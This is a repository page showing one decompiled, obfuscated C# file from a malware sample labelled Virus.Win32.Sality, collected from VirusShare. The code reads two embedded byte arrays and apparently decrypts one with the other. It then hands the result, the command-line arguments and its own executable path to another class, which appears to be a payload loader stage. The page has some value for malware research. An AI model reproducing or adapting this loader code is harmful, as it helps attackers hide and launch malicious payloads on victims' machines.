MalwareSourceCode/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0004.cs
2022-08-18 06:28:56 -05:00

101 lines
3.1 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
using \u0006;
using \u0007;
using \u0008;
using SmartAssembly.SmartExceptionsCore;
using System;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0007
{
internal sealed class \u0004 : \u0001
{
[MethodImpl(MethodImplOptions.NoInlining)]
public \u0004()
{
\u0003.\u0003();
// ISSUE: explicit constructor call
base.\u002Ector();
try
{
}
catch (Exception ex)
{
throw UnhandledException.\u0003(ex, (object) this);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
public override object \u0003([In] object[] obj0)
{
object[] objArray1;
byte[] numArray1;
object[] objArray2;
byte[] numArray2;
object[] objArray3;
byte[] numArray3;
object[] objArray4;
try
{
\u0005.\u0001 = (\u0001) new \u0005();
\u0001 obj1 = \u0005.\u0001;
objArray1 = new object[1]{ (object) 100 };
object[] objArray5 = objArray1;
numArray1 = (byte[]) obj1.\u0003(objArray5);
\u0001 obj2 = \u0005.\u0001;
objArray2 = new object[1]{ (object) 101 };
object[] objArray6 = objArray2;
numArray2 = (byte[]) obj2.\u0003(objArray6);
if (numArray1.Length <= 0 || numArray2.Length <= 0)
return (object) null;
\u0005.\u0001 = (\u0001) new \u0007.\u0006();
\u0001 obj3 = \u0005.\u0001;
objArray3 = new object[2]
{
(object) numArray2,
(object) numArray1
};
object[] objArray7 = objArray3;
numArray3 = (byte[]) obj3.\u0003(objArray7);
if (numArray3.Length <= 0)
return (object) null;
if (obj0.Length <= 0)
{
obj0 = new object[1];
obj0[0] = (object) new string[1];
}
\u0005.\u0001 = (\u0001) new \u0006.\u0006();
\u0001 obj4 = \u0005.\u0001;
objArray4 = new object[3]
{
(object) numArray3,
(object) (string[]) obj0[0],
(object) Process.GetCurrentProcess().MainModule.FileName
};
object[] objArray8 = objArray4;
obj4.\u0003(objArray8);
return (object) null;
}
catch (Exception ex)
{
byte[] numArray4 = numArray1;
byte[] numArray5 = numArray2;
byte[] numArray6 = numArray3;
object[] objArray9 = objArray1;
object[] objArray10 = objArray2;
object[] objArray11 = objArray3;
object[] objArray12 = objArray4;
object[] objArray13 = obj0;
throw UnhandledException.\u0003(ex, (object) numArray4, (object) numArray5, (object) numArray6, (object) objArray9, (object) objArray10, (object) objArray11, (object) objArray12, (object) this, (object) objArray13);
}
}
}
}